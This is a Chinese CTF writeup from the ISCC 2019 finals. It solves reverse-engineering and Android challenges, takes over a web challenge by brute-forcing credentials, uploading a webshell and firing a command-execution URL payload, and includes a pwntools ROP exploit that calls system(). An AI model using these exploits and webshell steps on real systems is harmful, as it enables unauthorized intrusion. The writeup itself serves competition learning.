0x00 Begin

关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获全国一等奖第一名,在这里非常感谢我的团队以及我的队友。

0x01 Reverse

下载题目:elf

先用 DIE_090_win 查看信息,64位elf文件,然后拖入 ida 分析。

看到fgets函数,并且没有对输入进行限制,存在数组越界漏洞。

而且数组是连续的

所以根据流程写出相应的脚本

#include <stdio.h>
int main(int argc, char *argv[])
{
int s,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27;
s = (0x17F5B30C ^ 0x17F5B345);
v5=  (0xF16B77B1^0xF16B77E2);
v6=(0xB2B21904 ^ 0xB2B21947);
v7 = (0x58A9F9C8 ^ 0x58A9F98B);
v8 = (0x20A99D71 ^ 0x20A99D0A);
v9=(0x96D85B41 ^ 0x96D85B20);
v10=(0xBBEA9A56 ^ 0xBBEA9A3E);
v11 = ( 0x35512DDF^ 0x35512DBE);
v12 = ( 0x2838DCA8^ 0x2838DCF7);
v13 = (0x4EA1DFF4 ^ 0x4EA1DF87);
v14=(0xE22DCC84 ^ 0xE22DCCED) ;
v15=(0xDD2C6643 ^ 0xDD2C662E);
v16 =(0x106B37B4 ^ 0x106B37C4);
v17 =(0x46B44202 ^ 0x46B4426E);
v18=(0xAA67C791 ^ 0xAA67C7F4);
v19=(0x72C06EE2 ^ 0x72C06EBD);
v20=(0xB0117F0D ^ 0xB0117F7F) ;
v21=(0xF91B9389 ^ 0xF91B93EC);
v22=(0xD43CE962 ^ 0xD43CE914);
v23=(0xF6EA0C88 ^ 0xF6EA0CED);
v24= (0x402A09E5 ^ 0x402A0997);
v25=(0xADACB774 ^ 0xADACB707) ;
v26=(0xE79C5545 ^ 0xE79C5520);
v27 = (0x4B76BD31 ^ 0x4B76BD4C);
printf("%c",s);
printf("%c",v5);
printf("%c",v6);
printf("%c",v7);
printf("%c",v8);
printf("%c",v9);
printf("%c",v10);
printf("%c",v11);
printf("%c",v12);
printf("%c",v13);
printf("%c",v14);
printf("%c",v15);
printf("%c",v16);
printf("%c",v17);
printf("%c",v18);
printf("%c",v19);
printf("%c",v20);
printf("%c",v21);
printf("%c",v22);
printf("%c",v23);
printf("%c",v24);
printf("%c",v25);
printf("%c",v26);
printf("%c",v27);
;
} 

GetFlag

ISCC{aha_simple_reverse}

0x02 Mobile

下载题目:app-release.apk

通过提示发现flag由两部分组成

由于该apk缺少签名所以无法安装,不过不影响做题

第一部分:

先对apk进行反编译,分析特殊文件,最终在string.xml文件中找到一些特殊字符串

 <string name="abc_toolbar_collapse_description">Collapse</string>
    <string name="app_name">where is flag</string>
    <string name="bad_example">This does not work</string>
    <string name="basketball">basketball</string>
    <string name="black">#FFFFFF</string>
    <string name="city">青岛</string>
    <string name="good_example">"This'll work"</string>
    <string name="good_example_2">"This'll also work"</string>
    <string name="hello">Hello World, MainActivity!</string>
    <string name="hhh">Happy!</string>
    <string name="me">我打ctf像</string>
    <string name="mine">今年我10岁,打ctf</string>
    <string name="part1">RmxhZyU3</string>
    <string name="part2">QllvdXJB</string>
    <string name="part3">cmVDYW5keQ==</string>
    <string name="sd">sad!</string>
    <string name="search_menu_title">Search</string>

提取特殊字符串

part=part1+part2+part3=RmxhZyU3QllvdXJBcmVDYW5keQ==

base64解码得到flag前半部分

Flag{YourAreCandy

第二部分:

使用jd-gui查看反编译的java文件

主类代码如下:

package com.example.iscc.whereisflag;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity
  extends AppCompatActivity
{
  String f1ag = "f1ag{ifbUlnFBboBH15VGHsd6a78}";
  String tag1 = "input";

  boolean check(String paramString)
  {
    if (paramString.length() == 0) {
      return false;
    }
    int[] arrayOfInt1 = new int[paramString.length() / 2 + 1];
    int[] arrayOfInt2 = new int[paramString.length() / 2 + 1];
    int k = 0;
    int i = k;
    int j = i;
    while (k < paramString.length())
    {
      arrayOfInt1[i] = paramString.charAt(k);
      int m = paramString.charAt(k);
      k += 1;
      arrayOfInt2[i] = paramString.charAt(k);
      i += 1;
      j = j + m + paramString.charAt(k);
      k += 1;
    }
    if (j > 800) {
      return false;
    }
    i = arrayOfInt2[(arrayOfInt2.length - 2)];
    arrayOfInt2[(arrayOfInt2.length - 2)] = arrayOfInt2[0];
    arrayOfInt2[0] = i;
    i = 0;
    while (i < arrayOfInt1.length - 1)
    {
      if (arrayOfInt1[i] > 91) {
        return false;
      }
      i += 1;
    }
    i = 0;
    while (i < arrayOfInt2.length - 1)
    {
      if (arrayOfInt2[i] < 96) {
        return false;
      }
      i += 1;
    }
    if (arrayOfInt1[(arrayOfInt1.length - 2)] != arrayOfInt1[(arrayOfInt1.length - 3)]) {
      return false;
    }
    if (arrayOfInt1[1] - arrayOfInt1[0] != 4) {
      i = 1;
    } else {
      i = 0;
    }
    if (Math.abs(arrayOfInt2[0] - arrayOfInt2[1]) != 4) {
      j = 1;
    } else {
      j = 0;
    }
    if (arrayOfInt1[0] - arrayOfInt1[(arrayOfInt1.length - 2)] != 4) {
      k = 1;
    } else {
      k = 0;
    }
    if ((i | j | k) != 0) {
      return false;
    }
    if (arrayOfInt2[0] % 25 != 0) {
      return false;
    }
    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 2)] + arrayOfInt2[1]) / (arrayOfInt1[0] + arrayOfInt1[1]) != 2) {
      return false;
    }
    if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 3)]) % 10 != 0) {
      return false;
    }
    if (arrayOfInt2[(arrayOfInt2.length - 3)] % 11 != 0) {
      i = 1;
    } else {
      i = 0;
    }
    if (arrayOfInt2[(arrayOfInt2.length - 2)] % 11 != 0) {
      j = 1;
    } else {
      j = 0;
    }
    return (i | j) == 0;
  }

  protected void onCreate(final Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296284);
    paramBundle = (EditText)findViewById(2131165309);
    ((Button)findViewById(2131165218)).setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        paramAnonymousView = paramBundle.getText().toString();
        if (MainActivity.this.check(paramAnonymousView))
        {
          Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜你拿到了 ag!", 1).show();
          return;
        }
        Toast.makeText(MainActivity.this.getApplicationContext(), "flag{you can do it 666}", 1).show();
      }
    });
  }
}

审计主类Java代码发现第二部分存在于check函数中,下来分析check函数功能:

首先将输入的奇数位赋给数组arrayOfInt1,偶数位赋给arrayOfInt2,然后判断输入的字符串ASCII的要小于800。

这部分将数组arrayOfInt2的最后一位和第一位替换位置;并要求arrayOfInt1要小于等于91,arrayOfInt2要大于等于96。

最后两部分就是对两个数组的值的判断即约束条件。

最终,满足所有条件才能返回1即返回true。

根据上面列出的约束条件(为了阅读方便将数组设为 arrayOfInt1->arr1 arrayOfInt2->arr2)

然后设

arr1[0] -> x0

arr1[1] -> x1

arr1[后1] -> x_1 == 数组arr1的到数第1位

arr1[后2] -> x_2 == 数组arr1的到数第2位

arr2[0] -> y0

arr2[1] -> y1

arr2[后1] -> y_1 == 数组arr2的到数第1位

arr2[后2] -> y_2 == 数组arr2的到数第2位

所有约束条件组成的方程组

x_1 = x_2 式 1
x1 – x0 =4 式 2
x0 – x_1=4 式 3
(x_1 + y_1 +y1)/(x0+x1) =2 式 4
(x_1 + y_2) % 10 = 0 式 5
| y0 – y1| =4 式 6
y0 % 25 =0 式 7
y_2 % 11 =0 式 8
y_1 %11 =0 式 9

利用方程组求解:

根据式7得 y0 = 125 或者 100

根据式6得 y1 =121

因为数组2要大于等于96,所以根据式8,9得 y_1,y_2的取值有三种可能
99,110,121


y_2 =121

根据式5得 x_1 = 69

根据式1得 x_2 = 69

根据式3得 x0 = 73

根据式2得 x1 = 77

根据式4得 y_1 = 110

发现此解满足条件


x0 = 73 x1= 77 x_2 = 69 x_1 = 69


y0 = 125 y1 =121 y_2 = 121 y_1 = 110

整理:

数组 arr1 = 73 , 77, 69, 69

数组 arr2 = 125, 121, 121 , 110

根据1.2可知数组2的最后一位和第一位替换位置所以

数组 arr2 = 110, 121, 121 , 125

之后根据数组arr1是输入的奇数位,arr2是输入的偶数位

所以输入: 73,110,77,121,69,121,69,125

对应字符串:InMyEyE}

最终flag由第一部分和第二部分组成

Flag{YourAreCandyInMyEyE}

PS:感谢我们团队的逆向大佬帮我分析算法(二进制大佬)。

0x03 私地 Web

拿到一个站,先对该站点进行端口探测,目录扫描,发现存在登陆页面,首先想的是注入,但是注入无果,于是立马进行isccadmin爆破。

登陆之后,先修改自己账户密码,防止被登录。

漏洞利用,修改附件上传限制

在文章哪里上传木马111.pht

PS:服务器存在漏洞(主办方文件权限设置出现问题),一直上传不上去,耽误了一个小时(T_T),最后向主办方反应才解决了该问题。

最后蚁剑成功连接shell

Getflag向主办方要取ssh账号

连接ssh之后,备份源码,分析站点文件,发现根目录下的一个文件(xmlrpc.php)存在任意命令执行漏洞。

构造payload,getflag

http://192.168.37.71/xmlrpc.php?rsd=getflag

0x04 Pwn 高地2

放入ida分析,发现scanf存在栈溢出漏洞,并且题目还给出了system函数

根据漏洞编写相应的Exp

from pwn import *
context.log_level = "debug"
#icontext.arch = "amd64"
elf = ELF("./fZ830RdRBe6wAofd.pwnPublic")
pop_rdi_ret=0x400683
bss=0x602000-10
pop_rsi_r15=0x400681
s=0x4006C5
sh = process("./fZ830RdRBe6wAofd.pwnPublic")
system = elf.plt['system']
scanf = elf.plt['__isoc99_scanf']
payload='A'*24+p64(pop_rsi_r15)+p64(bss)+p64(bss)
payload+=p64(pop_rdi_ret)+p64(s)
payload+=p64(scanf)
payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)
sh.sendline(payload)
sh.interactive()

0x05 End

2019全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup的更多相关文章

  1. 第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    笔者<Qftm>原文发布<BitHack>:https://bithack.io/forum/469/answer/333 0x00 Begin 关于 ISCC 2019 北理 ...

  2. 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏

    2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...

  3. 合肥.NET技术社区首次线下聚会全程回顾【多图】

    2019年3月16日对于合肥.NET来说是一个特别的日子,因为这是合肥.NET技术社区首次非正式线下聚会!这次聚会受场地限制(毕竟是聚餐的形式),即使换成了小椅子后,最多也只能容纳24个人,所以还有一 ...

  4. CHINA SHOP 2019 | 奇点云“云+端”产品及解决方案赋能线下零售

    第二十一届中国零售业博览会(CHINA SHOP) 在山东青岛世界博览城盛大开幕 作为CHINA SHOP的老朋友 奇点云自然不会缺席 China Shop逛展直击灵魂“双拷问”: No.1 今年CH ...

  5. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

  6. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  7. 2019全国大学生信息安全竞赛ciscn-writeup(4web)

    web1-JustSoso php伪协议获取源码 ?file=php://filter/read=convert.base64-encode/resource=index.php index.php ...

  8. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  9. 2016全国大学生信息安全竞赛(Misc)

    你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...

随机推荐

  1. 高中生也能读懂的Docker入门教程

    Docker 是 Golang 编写的, 自 2013 年推出以来,受到越来越多的开发者的关注.如果你关注最新的技术发展,那么你一定听说过 Docker.不管是云服务还是微服务(Microservic ...

  2. Spark2.4.0源码——DAGScheduler

    前言 Spark会将用户提交的作业看作一个job,在提交的时候首先将job转换为一系列的RDD,并按照RDD之间的依赖关系构建DAG(有向无环图),DAGScheduler会按照RDD依赖的不同将DA ...

  3. 基于 SpringBoot 的 FileService

    fileservice file upload download 1.支持多种存储服务器上传.下载 2.支持大文件切片上传 3.存储记录信息使用 redis记录, 文件id可用于与业务数据库关联 4. ...

  4. 微服务网关 Spring Cloud Gateway

    1.  为什么是Spring Cloud Gateway 一句话,Spring Cloud已经放弃Netflix Zuul了.现在Spring Cloud中引用的还是Zuul 1.x版本,而这个版本是 ...

  5. gRPC入坑记

    概要 由于gRPC主要是谷歌开发的,由于一些已知的原因,gRPC跑demo还是不那么顺利的.单独写这一篇,主要是gRPC安装过程中的坑太多了,记录下来让大家少走弯路. 主要的坑: 如果使用PHP.Py ...

  6. Linux搭建基于BIND的DNS服务器

    Linux搭建基于BIND的DNS服务器   实验目标: 通过本实验掌握基于Linux的DNS服务器搭建. 实验步骤: 1.安装BIND 2.防火墙放通DNS服务 3.编辑BIND的主配置文件 4.编 ...

  7. 关于重写equals()和hashCode()的思考

    最近这几天一直对equals()和hashCode()的事搞不清楚,云里雾里的. 为什么重写equals(),我知道. 但是为什么要两个都要重写呢,我就有点迷糊了,所以趁现在思考清楚后记录一下. 起因 ...

  8. 微服务-springboot热部署

    spring为开发者提供了一个名为spring-boot-devtools的模块来使Spring Boot应用支持热部署,提高开发者的开发效率,无需手动重启Spring Boot应用. IDEA进行热 ...

  9. java-基础语法01

    一.变量 1. 何为变量?:在数学中变量就是一个不确定的量,随时都会改变,在java中变量也是这样,只不过它是内存中装载数据的小盒子,你只能用它来存数据和取数据. 2. 变量的基本类型(四类八种),见 ...

  10. Google 的 Java 编码规范,参考学习!

    这份文档是 Google Java 编程风格规范的完整定义.当且仅当一个 Java 源文件符合此文档中的规则, 我们才认为它符合 Google 的 Java 编程风格. 与其它的编程风格指南一样,这里 ...